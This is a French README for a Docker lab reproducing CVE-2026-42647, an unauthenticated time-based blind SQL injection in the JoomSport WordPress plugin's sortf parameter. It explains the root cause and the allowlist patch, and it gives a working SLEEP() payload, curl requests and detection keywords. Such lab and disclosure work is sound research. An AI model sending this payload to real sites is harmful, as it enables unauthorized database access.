rootdirective-sec/cve-2026-42647-labLaboratoire basé sur Docker pour reproduire la CVE-2026-42647, une injection SQL aveugle basée sur le temps non authentifiée dans le plugin JoomSport WordPress via le paramètre sortf. Inclut des cibles vulnérables et corrigées à des fins de comparaison.
sortf dans JoomSportCe dépôt contient un laboratoire Docker local pour reproduire et valider CVE-2026-42647, une vulnérabilité d'injection SQL non authentifiée affectant le plugin WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.
Le comportement vulnérable se produit dans la fonctionnalité de tri de la liste des joueurs. Un visiteur public peut contrôler le paramètre de requête sortf, qui est utilisé pour construire une clause SQL ORDER BY. Dans les versions vulnérables, la valeur est nettoyée comme du texte et entourée de guillemets inversés, mais elle n'est pas validée par une liste blanche stricte avant d'être ajoutée à la requête SQL.
Ce laboratoire compare deux versions de JoomSport :
| Service | Version JoomSport | But | URL |
|---|
vuln | 5.7.6 | Cible de comparaison vulnérable | http://localhost:8081 |
patched | 5.7.8 | Cible de comparaison patchée | http://localhost:8082 |
Les avis publics identifient les versions antérieures à 5.7.8 comme affectées et la version 5.7.8 comme la version corrigée. Ce laboratoire utilise la version 5.7.6 comme cible vulnérable car un tag source 5.7.7 n'était pas disponible dans le listing des tags SVN du plugin WordPress.org au moment de la préparation de ce laboratoire.
La chaîne de vulnérabilité démontrée est :```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
Ce laboratoire valide la vulnérabilité en tant qu'injection SQL aveugle basée sur le temps. Il n'effectue pas de vidage de base de données, d'extraction d'identifiants, de modification de données ou d'opérations SQL destructrices.
Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.
## Faits vérifiés
| Affirmation | Preuve | Comment vérifier dans ce laboratoire |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport avant la version 5.7.8 est signalé comme vulnérable à une injection SQL non authentifiée. | Les avis publics identifient JoomSport `< 5.7.8` / `<= 5.7.7` comme affecté. | Consultez la section Références et comparez les services vulnérables/corrigés. |
| JoomSport 5.7.8 est la version corrigée. | Les avis publics et la comparaison des sources montrent que la version 5.7.8 valide la valeur `sortf` avant de construire l'expression de tri. | Inspectez `class-jsport-playerlist.php` dans les deux versions. |
| Le paramètre affecté est `sortf`. | Le code vulnérable de la liste des joueurs lit `classJsportRequest::get('sortf')`. | Exécutez le PoC et observez la requête `sortf` injectée. |
| Le code vulnérable construit une valeur de tri SQL dynamique à partir de l'entrée utilisateur. | Dans la version vulnérable, `sortf` est utilisé pour construire `$options['ordering']`. | Inspectez `sportleague/classes/objects/class-jsport-playerlist.php`. |
| Le point d'insertion SQL est une clause `ORDER BY`. | La valeur générée `$ordering` est ensuite ajoutée à une requête SQL avec `ORDER BY`. | Inspectez `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| Le correctif utilise une correction de type liste blanche. | La version corrigée introduit des colonnes statiques autorisées et des motifs de champ dynamique attendus avant d'utiliser le champ de tri. | Comparez les sources de JoomSport 5.7.6 et 5.7.8. |
| Le laboratoire démontre une injection SQL aveugle basée sur le temps. | La cible vulnérable retarde lorsqu'une expression `SLEEP()` injectée est utilisée ; la cible corrigée ne le fait pas. | Exécutez `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## Hypothèses et inconnues
Ce laboratoire utilise JoomSport 5.7.6 comme cible de comparaison vulnérable car la version corrigée publique est 5.7.8 et qu'un tag source 5.7.7 n'était pas disponible dans la liste des tags SVN du plugin WordPress.org lorsque le laboratoire a été préparé.
Le laboratoire ne prétend pas que 5.7.6 est la seule version vulnérable. Il est utilisé comme une base vulnérable reproductible pour comparer le comportement vulnérable au comportement corrigé de 5.7.8.
Le laboratoire se concentre sur le paramètre `sortf` dans le flux de tri de la liste des joueurs.
L'impact démontré est une injection SQL aveugle basée sur le temps. Le laboratoire ne démontre pas :
* vidage direct de base de données,
* extraction d'identifiants,
* contournement d'authentification,
* élévation de privilèges,
* modification arbitraire de données,
* exécution de code à distance,
* persistance,
* rappels externes,
* ou d'attaques contre des systèmes hors laboratoire.
Un comportement basé sur les erreurs ou booléen peut être possible selon le comportement de la base de données, la configuration de l'application et les différences de réponse, mais ce laboratoire ne repose pas sur ces techniques. La preuve principale est basée sur le temps.
## Résumé de la cause racine
La cause racine est la construction non sécurisée d'une clause `ORDER BY` SQL dynamique à partir du paramètre de requête `sortf`.
Le chemin de code vulnérable commence dans :```text
sportleague/classes/objects/class-jsport-playerlist.php
Dans la logique de chargement de la liste des joueurs, JoomSport lit le paramètre de requête :```text sortf
et l'utilise pour construire:```text
$options['ordering']
Le motif de source vulnérable pertinent est :```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
Le problème ne vient pas principalement du paramètre `sortd`. La valeur de `sortd` est limitée à :```text
ASC
DESC
Le problème est le paramètre sortf car il contrôle la position de l'identifiant/expression SQL utilisée pour le tri.
L'expression dangereuse est :```php
"".classJsportRequest::get('sortf').""
Le code place une entrée contrôlée par l'attaquant dans un contexte d'identifiant MySQL, puis la transmet comme fragment d'ordre SQL.
Le code applique :```php
sanitize_text_field()
mais sanitize_text_field() n'est pas une validation d'identifiant SQL. Il est conçu pour nettoyer du texte, pas pour construire en toute sécurité une syntaxe SQL.
Le code vulnérable encadre également le champ de tri contrôlé par l'utilisateur avec des backticks. Cependant, les backticks ne constituent pas une frontière de sécurité lorsque l'attaquant peut influencer le contenu de l'identifiant. Si un attaquant peut injecter un backtick dans la valeur, il peut sortir du contexte d'identifiant prévu.
La valeur d'ordre générée est ensuite transmise à la requête de récupération du joueur et ajoutée dans une clause SQL ORDER BY dans :```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
Le motif sink est :```php
$query .= ' ORDER BY '.($ordering);
Cela crée le flux de données vulnérable:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
Le problème de sécurité est que l'application traite un paramètre de requête contrôlé par l'utilisateur comme un identifiant/expression SQL sans d'abord le valider par rapport à une liste d'autorisation stricte.
## Résumé du correctif source
Le correctif pertinent se trouve dans :```text
sportleague/classes/objects/class-jsport-playerlist.php
Dans la version vulnérable, le code de la liste des joueurs construit $options['ordering'] directement à partir de la valeur de la requête :```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
La partie vulnérable est que `classJsportRequest::get('sortf')` est utilisé dans l'expression de classement SQL.
JoomSport 5.7.8 modifie ce comportement en introduisant une variable de champ de classement validée avant de construire `$options['ordering']`.
La version corrigée initialise une valeur par défaut sûre :```php
$sortFieldEsc = 'post_title';
Il définit ensuite les colonnes de tri statiques autorisées :```php $sortCols = array("played", "career_minutes", "post_title");
Lorsque `sortf` est présent, le code corrigé ne l'accepte que s'il correspond à l'une des valeurs statiques attendues :```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
Le correctif permet également les formats de champ d'événement/statistique dynamique attendus :```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
Le dernier changement important pour la sécurité est que `$options['ordering']` est construit à partir de `$sortFieldEsc` au lieu de la valeur brute de la requête `sortf` :```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
Cela ne supprime pas le tri dynamique. Cela modifie la limite de confiance.
Avant le correctif :```text request sortf value directly controlled the ORDER BY identifier
Après le correctif :```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
Si l'attaquant envoie une valeur inattendue telle que :```text post_title`DESC,(SLEEP(2))#
le code corrigé n'assigne pas cette valeur à `$sortFieldEsc`. Au lieu de cela, le champ de tri revient à :```text
post_title
C’est pourquoi le service vulnérable subit des retards, tandis que le service corrigé reste proche du temps de base.
La leçon de sécurité du correctif est :```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## Architecture du laboratoire
Le laboratoire exécute deux installations WordPress isolées via Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
Les deux services WordPress utilisent des bases de données distinctes et des versions de plugins distinctes :
| Service | Component | Version / Rôle |
|---|---|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | base de données pour la cible vulnérable |
db-patched | MariaDB | base de données pour la cible corrigée |
setup-vuln | WP-CLI init service | installe WordPress et alimente la cible vulnérable |
setup-patched | WP-CLI init service | installe WordPress et alimente la cible corrigée |
Services exposés par défaut :```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Le processus de configuration crée les données minimales de JoomSport nécessaires pour afficher la route de la liste des joueurs :```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
Les services vulnérables et corrigés utilisent la même forme de données de laboratoire afin que le comportement temporel puisse être comparé équitablement.
requests pour exécuter le PoC depuis l'hôteInstallez la dépendance Python sur l'hôte si nécessaire :
pip install requests
``````bash
python3 -m pip install requests
Démarrer le laboratoire :```bash docker compose down -v --remove-orphans docker compose up -d --build
Surveillez les conteneurs de configuration :```bash
docker compose logs -f setup-vuln setup-patched
Messages de fin d'installation attendus :```text [VULN] setup complete [PATCHED] setup complete
Vérifiez l'état du conteneur :```bash
docker compose ps
Services exposés attendus :```text http://localhost:8081 http://localhost:8082
Exécutez le PoC contre la cible vulnérable :```bash
python3 poc/poc.py http://localhost:8081
Exécutez le PoC contre la cible corrigée :```bash python3 poc/poc.py http://localhost:8082
Exécutez le PoC contre les deux cibles en une seule commande :```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Pour des statistiques de timing plus stables, augmentez le nombre de tours :```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Vous pouvez également ajuster le temps de sommeil demandé :```bash
python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
Le PoC vérifie chaque cible indépendamment.
Il ne nécessite plus les options --vuln-url ou --patched-url séparées. Au lieu de cela, transmettez une ou plusieurs URL cibles comme arguments positionnels :```bash
python3 poc/poc.py <target_url> [target_url...]
Exemples :```bash
python3 poc/poc.py http://localhost:8081
python3 poc/poc.py http://localhost:8082
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Si aucune URL cible n'est fournie, le script demande une ou plusieurs URL cibles locales de manière interactive.
Options prises en charge :```text --season-id Seeded JoomSport season post ID. Default: 4 --rounds Number of requests per baseline/injected series. Default: 3 --sleep SLEEP() seconds used in the timing payload. Default: 2
Le PoC est intentionnellement de portée locale. Il accepte des cibles de type localhost-style telles que :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Le PoC refuse par défaut les cibles non locales.
Pour chaque cible, le PoC réalise deux séries temporelles :```text [1/2] Baseline timing [2/2] Injected timing
La requête de base utilise un champ de tri normal :```text
sortf=post_title
La requête injectée utilise une charge utile de temporisation locale dans le paramètre sortf :```text
sortf=post_title`DESC,(SLEEP(2))#
Le PoC calcule :```text
delta = injected median - baseline median
Ensuite, il classe la cible :
| Verdict | Signification |
|---|---|
VULNERABLE-LIKE | La requête injectée est nettement plus lente que la référence. |
PATCHED-LIKE | La requête injectée reste proche de la référence. |
UNREACHABLE | La cible n'a pas pu être atteinte. |
INCONCLUSIVE | Certaines données de temporisation sont manquantes ou incomplètes. |
Règle de décision par défaut :```text injected median - baseline median >= 60% of requested SLEEP()
Pour la valeur par défaut `--sleep 2`, le seuil est :```text
1.200s median delta
Ceci signifie qu'une cible n'est signalée comme VULNERABLE-LIKE que lorsque la requête injectée est clairement plus lente que sa propre référence.
Les cibles inaccessibles ou non concluantes ne sont pas comptées comme corrigées.
Vous pouvez reproduire la validation manuellement sans utiliser le PoC Python.
Requête de référence vulnérable:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Requête vulnérable injectée :```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Requête de base corrigée :```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Requête injectée corrigée :```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Comparaison attendue :```text JoomSport 5.7.6 vulnerable -> injected request is significantly slower JoomSport 5.7.8 patched -> injected request stays near baseline timing
## Résultat attendu
### Cible vulnérable
Commande:```bash
python3 poc/poc.py http://localhost:8081
Signal vulnérable attendu :```text CVE-2026-42647 JoomSport local timing validation Scope : localhost / Docker lab only Technique : time-based blind SQL injection check in ORDER BY via sortf Logic : baseline timing vs injected timing per target
Targets : 1 Rounds per series : 3 Requested SLEEP() : 2s Decision threshold: 1.200s median delta
Season post ID : 4 Baseline sortf : post_title Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing run 01: status=200 time=0.092s bytes=75333 run 02: status=200 time=0.044s bytes=75333 run 03: status=200 time=0.046s bytes=75333 summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s summary status=200x3 bytes=75333
[2/2] Injected timing run 01: status=200 time=6.050s bytes=75321 run 02: status=200 time=6.058s bytes=75321 run 03: status=200 time=6.095s bytes=75321 summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s summary status=200x3 bytes=75321
Baseline median : 0.046s Injected median : 6.058s Delta : 6.011s Ratio : 130.8x Threshold : 1.200s Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
Résumé final vulnérable :```text
Final summary
================================================================================================
Target Base med Inj med Delta Ratio Verdict
------------------------------------------------------------------------------------------------
http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE
------------------------------------------------------------------------------------------------
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 0
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
Commande :```bash python3 poc/poc.py http://localhost:8082
Signal patché attendu :```text
Target decision
------------------------------------------------------------------------------------------------
Baseline median : around normal baseline timing
Injected median : around normal baseline timing
Delta : below threshold
Ratio : near 1.0x
Threshold : 1.200s
Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
Commande:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Résultat attendu :```text
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 1
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
Si une cible n'est pas en cours d'exécution, le PoC doit signaler UNREACHABLE, et non PATCHED-LIKE.
Exemple:```bash python3 poc/poc.py http://localhost:8083
Décision attendue :```text
Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
Les cibles inaccessibles ne sont pas comptées comme corrigées.
Le PoC sonde la route de la liste des joueurs de JoomSport pour une publication de saison initialisée.
La route cible est équivalente à :```text GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
La requête de base utilise :```text
sortf=post_title
Cela devrait produire un tri normal de la liste des joueurs.
La requête injectée utilise :```text sortf=post_title`DESC,(SLEEP(2))#
Le code vulnérable encapsule `sortf` dans des backticks et ajoute une direction de tri. La valeur injectée est conçue pour sortir du contexte d'identifiant prévu et introduire une expression de temporisation dans la clause `ORDER BY`.
Conceptuellement, le fragment SQL vulnérable devient similaire à :```sql
ORDER BY `post_title` DESC, (SLEEP(2))
Le marqueur de commentaire # empêche que le backtick de fin et la direction n'interfèrent avec l'expression injectée. Ce n'est pas une charge utile de requête empilée. Cela n'injecte pas :```sql
; SELECT SLEEP(2);
Au lieu de cela, il injecte une expression SQL dans le contexte `ORDER BY` existant.
La version corrigée n'exécute pas l'expression injectée car la valeur `sortf` est vérifiée par rapport aux champs de tri autorisés et revient à `post_title` lorsque la valeur est inattendue.
## Impact
Ce laboratoire démontre une injection SQL aveugle basée sur le temps non authentifiée dans le paramètre `sortf` de la liste des joueurs JoomSport.
La version vulnérable exécute une expression de temporisation SQL injectée via la clause `ORDER BY`, produisant un délai de réponse clair. La version corrigée ne retarde pas car le champ de tri injecté est rejeté et remplacé par une valeur autorisée sécurisée.
Ce laboratoire prouve uniquement l'exécution SQL basée sur la temporisation. Il ne démontre pas l'extraction de données, la modification de données, le contournement d'authentification, l'élévation de privilèges ou l'exécution de code à distance.
## Détection et Surveillance
Les indicateurs potentiels incluent des requêtes directes vers les routes de la liste des joueurs JoomSport avec des valeurs `sortf` inhabituelles.
Exemple de modèle de requête suspecte :
`https://example.com/index.php?option=com_joomsport&view=playerlist&sortf=INJECTED_VALUE````text
GET /?post_type=joomsport_season&p=<id>&action=playerlist&sortf=<unexpected_value>&sortd=ASC
Caractéristiques suspectes de sortf :```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
Exemple de requête de laboratoire local :```text
sortf=post_title`DESC,(SLEEP(2))#
Signal vulnérable attendu:```text HTTP 200 response with significant timing delay
Signal corrigé attendu:```text
HTTP 200 response without significant timing delay
Idées de surveillance en production potentielles :
sortf inhabituelles.Mettez à niveau JoomSport vers la version 5.7.8 ou ultérieure.
La version corrigée contraint le paramètre sortf aux champs de tri attendus et aux motifs de champs dynamiques. Les valeurs inattendues reviennent à un champ de tri sécurisé par défaut.
Conseils d'atténuation au niveau de l'application :
sortf suspects.Le contrôle le plus important est la liste autorisée. L'échappement seul n'est pas un correctif complet pour les identifiants SQL dynamiques.
Vérifiez les conteneurs en cours d'exécution :```bash docker compose ps
Surveiller les logs de configuration :```bash
docker compose logs -f setup-vuln setup-patched
Vérifier les services WordPress:```bash curl -I http://localhost:8081 curl -I http://localhost:8082
Exécutez le PoC contre le service vulnérable:```bash
python3 poc/poc.py http://localhost:8081
Exécutez le PoC contre le service corrigé :```bash python3 poc/poc.py http://localhost:8082
Exécutez le PoC contre les deux services :```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Exécutez le PoC avec plus de tours :```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Sauvegarder les preuves :```bash
mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 \
| tee evidence/timing-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
> evidence/docker-compose-logs.txt
Vérifiez les versions des plugins dans WordPress :```bash docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Inspectez la source vulnérable :```bash
docker compose exec -T vuln sh -lc \
"grep -R \"sortf\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspectez la source corrigée :```bash
docker compose exec -T patched sh -lc
"grep -R "sortf\|sortFieldEsc\|sortCols\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspecter SQL sink:```bash
docker compose exec -T vuln sh -lc \
"grep -R \"ORDER BY\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
Arrêtez et supprimez les conteneurs et les réseaux :```bash docker compose down --remove-orphans
Supprimer les conteneurs, les réseaux et les volumes :```bash
docker compose down -v --remove-orphans
Supprimer les fichiers de preuve s'ils ont été créés :```bash rm -rf evidence/
## Limites de sécurité
Ce laboratoire est destiné uniquement à la recherche locale en sécurité et à des démonstrations contrôlées.
N'exécutez pas le PoC ou les charges utiles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
N'utilisez pas de véritables identifiants, secrets de production ou cibles externes dans ce laboratoire.
Le PoC est intentionnellement limité aux services Docker locaux tels que :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Le PoC n'inclut pas de payloads pour le vidage de base de données, le vol d'identifiants, la modification de données, la persistance, le mouvement latéral ou les rappels externes. L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text unauthenticated request
## Références
* Avis Wordfence : JoomSport <= 5.7.7 - Injection SQL non authentifiée via le paramètre `sortf`
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
* Avis Wordfence : JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Injection SQL non authentifiée
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
* Base de données des vulnérabilités des plugins WPScan : JoomSport
https://wpscan.com/plugin/joomsport-sports-league-results-management/
* Plugin WordPress.org : JoomSport - for Sports: Team & League, Football, Hockey & more
https://wordpress.org/plugins/joomsport-sports-league-results-management/
* SVN du plugin WordPress.org
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
* Tags SVN du plugin WordPress.org
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
* Guide de test de sécurité Web OWASP : Test d'injection SQL
https://owasp.org/www-project-web-security-testing-guide/
* Série d'antisèches OWASP : Prévention des injections SQL
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html